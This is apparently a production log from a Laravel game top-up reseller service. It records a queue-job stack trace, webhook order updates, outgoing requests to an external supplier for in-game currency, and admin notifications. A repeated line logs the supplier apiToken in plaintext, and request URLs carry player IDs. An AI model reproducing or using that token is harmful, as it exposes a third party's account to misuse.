[2026-03-24 19:36:13] production.ERROR: API failed for order 179235 {"order_id":179235,"error_message":"No query results for model [App\\Models\\PriceAsync].","error_code":0,"file":"/home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php","line":780,"stack_trace":"#0 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(250): Illuminate\\Database\\Eloquent\\Builder->firstOrFail()
#1 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(29): App\\Services\\ExternalSite\\OrderExternalService->doRequest(179235, 22, 1, '0ce7722e-5491-4...', '[{\"key\":\"player...', 6, 14)
#2 /home/talaah/public_html/app/Jobs/OrderApiJob.php(71): App\\Services\\ExternalSite\\OrderExternalService->sendOrder(179235)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): App\\Jobs\\OrderApiJob->handle()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(129): Illuminate\\Container\\Container->call(Array)
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Bus\\Dispatcher->{closure:Illuminate\\Bus\\Dispatcher::dispatchNow():126}(Object(App\\Jobs\\OrderApiJob))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(133): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(134): Illuminate\\Bus\\Dispatcher->dispatchNow(Object(App\\Jobs\\OrderApiJob), false)
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Queue\\CallQueuedHandler->{closure:Illuminate\\Queue\\CallQueuedHandler::dispatchThroughMiddleware():127}(Object(App\\Jobs\\OrderApiJob))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(127): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(68): Illuminate\\Queue\\CallQueuedHandler->dispatchThroughMiddleware(Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(App\\Jobs\\OrderApiJob))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php(102): Illuminate\\Queue\\CallQueuedHandler->call(Object(Illuminate\\Queue\\Jobs\\RedisJob), Array)
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(487): Illuminate\\Queue\\Jobs\\Job->fire()
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(437): Illuminate\\Queue\\Worker->process('redis', Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(Illuminate\\Queue\\WorkerOptions))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(201): Illuminate\\Queue\\Worker->runJob(Object(Illuminate\\Queue\\Jobs\\RedisJob), 'redis', Object(Illuminate\\Queue\\WorkerOptions))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(148): Illuminate\\Queue\\Worker->daemon('redis', 'default', Object(Illuminate\\Queue\\WorkerOptions))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(131): Illuminate\\Queue\\Console\\WorkCommand->runWorker('redis', 'default')
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): Illuminate\\Queue\\Console\\WorkCommand->handle()
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(211): Illuminate\\Container\\Container->call(Array)
#29 /home/talaah/public_html/vendor/symfony/console/Command/Command.php(341): Illuminate\\Console\\Command->execute(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(180): Symfony\\Component\\Console\\Command\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#31 /home/talaah/public_html/vendor/symfony/console/Application.php(1102): Illuminate\\Console\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#32 /home/talaah/public_html/vendor/symfony/console/Application.php(356): Symfony\\Component\\Console\\Application->doRunCommand(Object(Illuminate\\Queue\\Console\\WorkCommand), Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#33 /home/talaah/public_html/vendor/symfony/console/Application.php(195): Symfony\\Component\\Console\\Application->doRun(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Console/Kernel.php(198): Symfony\\Component\\Console\\Application->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1235): Illuminate\\Foundation\\Console\\Kernel->handle(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#36 /home/talaah/public_html/artisan(13): Illuminate\\Foundation\\Application->handleCommand(Object(Symfony\\Component\\Console\\Input\\ArgvInput))
#37 {main}","previous_exception":null,"context":{"job_class":"App\\Jobs\\OrderApiJob","timestamp":"2026-03-24 19:36:13","memory_usage":65536000,"memory_peak":65536000}} 
[2026-03-24 19:36:21] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-tmRYG-1774365381","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:36:21] production.INFO: Processed webhook data (normalized) {"id":"ORD-tmRYG-1774365381","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:36:21] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:36:21] production.INFO: SendAcceptReject: Notification queued {"user_id":659,"notification_type":"order_approved","reference_id":179076} 
[2026-03-24 19:36:21] production.INFO: Order updated successfully. Order ID: 179076, Status: completed  
[2026-03-24 19:36:21] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-tmRYG-1774365381","status":"completed","codes_count":0} 
[2026-03-24 19:36:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 659  
[2026-03-24 19:37:04] production.INFO: SendAcceptReject: Notification queued {"user_id":130,"notification_type":"order_approved","reference_id":179142} 
[2026-03-24 19:37:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 130  
[2026-03-24 19:37:12] production.INFO: SendAcceptReject: Notification queued {"user_id":87,"notification_type":"order_rejected","reference_id":179217} 
[2026-03-24 19:37:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 87  
[2026-03-24 19:37:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 87  
[2026-03-24 19:37:14] production.INFO: Constructing job for order: 179236  
[2026-03-24 19:37:16] production.INFO: Handling job for order: 179236  
[2026-03-24 19:37:16] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:37:16] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:37:16] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=21500&uuid=f64fcbf1-e643-4dfe-8fef-4fe785015ddb&Player_ID=590024140  
[2026-03-24 19:37:16] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=21500&uuid=f64fcbf1-e643-4dfe-8fef-4fe785015ddb&Player_ID=590024140","has_body":false} 
[2026-03-24 19:37:17] production.INFO: Operation sent successfully {"operation_id":164123,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-CHfW6U3-1774370237","amount":2.167210750000000185622184289968572556972503662109375,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 19:37:17"}},"processed_data":{"order_number":"ORD-CHfW6U3-1774370237","amount":2.167210750000000185622184289968572556972503662109375,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 19:37:24] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"570.0","mainamount":"570","operation_number":"158639939","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpm6apbn9o79h45eRYpe6"}},"user_id":1750} 
[2026-03-24 19:37:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 19:37:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 19:37:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 19:37:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 19:37:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 19:37:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 19:37:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 19:37:26] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 19:37:26] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18684,"user_id":1750,"amount":570.0,"admins_notified":7} 
[2026-03-24 19:37:55] production.INFO: SendAcceptReject: Notification queued {"user_id":52,"notification_type":"order_approved","reference_id":178881} 
[2026-03-24 19:37:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 52  
[2026-03-24 19:37:57] production.INFO: Constructing job for order: 179238  
[2026-03-24 19:37:57] production.INFO: SendAcceptReject: Notification queued {"user_id":1750,"notification_type":"request_approved","reference_id":18684} 
[2026-03-24 19:37:58] production.INFO: Constructing job for order: 179239  
[2026-03-24 19:37:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1750  
[2026-03-24 19:37:59] production.INFO: Handling job for order: 179238  
[2026-03-24 19:37:59] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:37:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:37:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/783/params?qty=20000&uuid=71e5bbac-6eff-4d5a-b383-ff6888eeb86d&Player_ID=57944624  
[2026-03-24 19:37:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/783/params?qty=20000&uuid=71e5bbac-6eff-4d5a-b383-ff6888eeb86d&Player_ID=57944624","has_body":false} 
[2026-03-24 19:38:00] production.INFO: Operation sent successfully {"operation_id":164124,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-RRNC8-1774370280","amount":3.383767999999999886995283304713666439056396484375,"status":"processing","product":"Saya Amount","game":"Saya","notes":[],"created_at":"2026-03-24 19:38:00"}},"processed_data":{"order_number":"ORD-RRNC8-1774370280","amount":3.383767999999999886995283304713666439056396484375,"status":"processing","product":"Saya Amount","game":"Saya"}} 
[2026-03-24 19:38:00] production.INFO: Handling job for order: 179239  
[2026-03-24 19:38:00] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:38:00] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:38:00] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=22bc1c2b-c104-4f4e-b8cb-1bb61323dc9b&Player_ID=3123543116  
[2026-03-24 19:38:00] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=22bc1c2b-c104-4f4e-b8cb-1bb61323dc9b&Player_ID=3123543116","has_body":false} 
[2026-03-24 19:38:01] production.INFO: Operation sent successfully {"operation_id":164125,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-qEw3-1774370281","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 19:38:01"}},"processed_data":{"order_number":"ORD-qEw3-1774370281","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 19:38:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"oC8FmPhQn91S6n6DGRHrWlNsF2tih8Le","execution_time":"2026-03-24 19:38:04"} 
[2026-03-24 19:38:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"oC8FmPhQn91S6n6DGRHrWlNsF2tih8Le","execution_time":"2026-03-24 19:38:04","total_operations":3,"sites_count":1} 
[2026-03-24 19:38:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"oC8FmPhQn91S6n6DGRHrWlNsF2tih8Le","execution_time":"2026-03-24 19:38:04","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-CHfW6U3-1774370237","ORD-RRNC8-1774370280","ORD-qEw3-1774370281"]} 
[2026-03-24 19:38:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"oC8FmPhQn91S6n6DGRHrWlNsF2tih8Le","execution_time":"2026-03-24 19:38:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:38:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"oC8FmPhQn91S6n6DGRHrWlNsF2tih8Le","execution_time":"2026-03-24 19:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 19:38:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"oC8FmPhQn91S6n6DGRHrWlNsF2tih8Le","execution_time":"2026-03-24 19:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-CHfW6U3-1774370237","operation_id":164123} 
[2026-03-24 19:38:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"oC8FmPhQn91S6n6DGRHrWlNsF2tih8Le","execution_time":"2026-03-24 19:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qEw3-1774370281","operation_id":164125} 
[2026-03-24 19:38:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"oC8FmPhQn91S6n6DGRHrWlNsF2tih8Le","execution_time":"2026-03-24 19:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RRNC8-1774370280","operation_id":164124} 
[2026-03-24 19:38:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"oC8FmPhQn91S6n6DGRHrWlNsF2tih8Le","execution_time":"2026-03-24 19:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RRNC8-1774370280","operation_id":164124,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 19:38:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"oC8FmPhQn91S6n6DGRHrWlNsF2tih8Le","execution_time":"2026-03-24 19:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RRNC8-1774370280","operation_id":164124,"processed":0,"errors":0} 
[2026-03-24 19:38:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"oC8FmPhQn91S6n6DGRHrWlNsF2tih8Le","execution_time":"2026-03-24 19:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-RRNC8-1774370280","operation_id":164124} 
[2026-03-24 19:38:10] production.INFO: SendAcceptReject: Notification queued {"user_id":1747,"notification_type":"order_rejected","reference_id":179237} 
[2026-03-24 19:38:10] production.INFO: Constructing job for order: 179240  
[2026-03-24 19:38:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1747  
[2026-03-24 19:38:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1747  
[2026-03-24 19:38:13] production.INFO: Handling job for order: 179240  
[2026-03-24 19:38:13] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:38:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:38:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=6e2866d4-e2d4-4ec4-b724-07269a40ac89&Player_ID=3123543116  
[2026-03-24 19:38:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=6e2866d4-e2d4-4ec4-b724-07269a40ac89&Player_ID=3123543116","has_body":false} 
[2026-03-24 19:38:14] production.INFO: Operation sent successfully {"operation_id":164126,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-mYy-1774370294","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 19:38:14"}},"processed_data":{"order_number":"ORD-mYy-1774370294","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 19:38:29] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-qEw3-1774370281","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:38:29] production.INFO: Processed webhook data (normalized) {"id":"ORD-qEw3-1774370281","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:38:29] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:38:29] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":179239} 
[2026-03-24 19:38:29] production.INFO: Order updated successfully. Order ID: 179239, Status: completed  
[2026-03-24 19:38:29] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-qEw3-1774370281","status":"completed","codes_count":0} 
[2026-03-24 19:38:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 19:38:45] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-mYy-1774370294","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:38:45] production.INFO: Processed webhook data (normalized) {"id":"ORD-mYy-1774370294","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:38:45] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:38:45] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":179240} 
[2026-03-24 19:38:45] production.INFO: Order updated successfully. Order ID: 179240, Status: completed  
[2026-03-24 19:38:45] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-mYy-1774370294","status":"completed","codes_count":0} 
[2026-03-24 19:38:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 19:38:52] production.INFO: Constructing job for order: 179241  
[2026-03-24 19:38:53] production.INFO: Handling job for order: 179241  
[2026-03-24 19:38:53] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:38:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:38:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=05de26e9-bb36-4c68-8a4d-ee3aa69b9c5f&Player_ID=10015733921  
[2026-03-24 19:38:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=05de26e9-bb36-4c68-8a4d-ee3aa69b9c5f&Player_ID=10015733921","has_body":false} 
[2026-03-24 19:38:54] production.INFO: Operation sent successfully {"operation_id":164127,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-rcx-1774370334","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 19:38:54"}},"processed_data":{"order_number":"ORD-rcx-1774370334","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 19:39:00] production.INFO: Constructing job for order: 179242  
[2026-03-24 19:39:02] production.INFO: Constructing job for order: 179243  
[2026-03-24 19:39:03] production.INFO: Handling job for order: 179242  
[2026-03-24 19:39:03] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:39:03] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:39:03] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=0787ad0f-0a1d-4fe1-92b4-514882cb5dba&Player_ID=10015733921  
[2026-03-24 19:39:03] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=0787ad0f-0a1d-4fe1-92b4-514882cb5dba&Player_ID=10015733921","has_body":false} 
[2026-03-24 19:39:04] production.INFO: Operation sent successfully {"operation_id":164128,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-jqDm-1774370344","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 19:39:04"}},"processed_data":{"order_number":"ORD-jqDm-1774370344","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 19:39:04] production.INFO: Handling job for order: 179243  
[2026-03-24 19:39:04] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:39:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:39:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7e6cf6c6-94ef-464a-aecb-959ce74b85ca&Player_ID=5851868407  
[2026-03-24 19:39:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=7e6cf6c6-94ef-464a-aecb-959ce74b85ca&Player_ID=5851868407","has_body":false} 
[2026-03-24 19:39:05] production.INFO: Operation sent successfully {"operation_id":164129,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-4b47g-1774370345","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:39:05"}},"processed_data":{"order_number":"ORD-4b47g-1774370345","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 19:39:12] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-rcx-1774370334","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:39:12] production.INFO: Processed webhook data (normalized) {"id":"ORD-rcx-1774370334","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:39:12] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:39:12] production.INFO: SendAcceptReject: Notification queued {"user_id":33,"notification_type":"order_approved","reference_id":179241} 
[2026-03-24 19:39:12] production.INFO: Order updated successfully. Order ID: 179241, Status: completed  
[2026-03-24 19:39:12] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-rcx-1774370334","status":"completed","codes_count":0} 
[2026-03-24 19:39:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 33  
[2026-03-24 19:39:18] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-4b47g-1774370345","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:39:18] production.INFO: Processed webhook data (normalized) {"id":"ORD-4b47g-1774370345","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:39:18] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:39:18] production.INFO: SendAcceptReject: Notification queued {"user_id":1103,"notification_type":"order_approved","reference_id":179243} 
[2026-03-24 19:39:18] production.INFO: Order updated successfully. Order ID: 179243, Status: completed  
[2026-03-24 19:39:18] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-4b47g-1774370345","status":"completed","codes_count":0} 
[2026-03-24 19:39:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1103  
[2026-03-24 19:39:27] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-jqDm-1774370344","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:39:27] production.INFO: Processed webhook data (normalized) {"id":"ORD-jqDm-1774370344","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:39:27] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:39:27] production.INFO: SendAcceptReject: Notification queued {"user_id":33,"notification_type":"order_approved","reference_id":179242} 
[2026-03-24 19:39:27] production.INFO: Order updated successfully. Order ID: 179242, Status: completed  
[2026-03-24 19:39:27] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-jqDm-1774370344","status":"completed","codes_count":0} 
[2026-03-24 19:39:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 33  
[2026-03-24 19:39:38] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1100.0","mainamount":"1100","operation_number":"158643544","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php7j5iqvu2bs5h0TeJ2Cp"}},"user_id":1572} 
[2026-03-24 19:39:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 19:39:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 19:39:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 19:39:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 19:39:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 19:39:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 19:39:38] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 19:39:38] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 19:39:38] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18685,"user_id":1572,"amount":1100.0,"admins_notified":7} 
[2026-03-24 19:39:47] production.INFO: Constructing job for order: 179244  
[2026-03-24 19:39:50] production.INFO: Handling job for order: 179244  
[2026-03-24 19:39:50] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:39:50] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:39:50] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=cc4b223b-e8d0-489b-91e9-97b1bb4832af&Player_ID=52166876930  
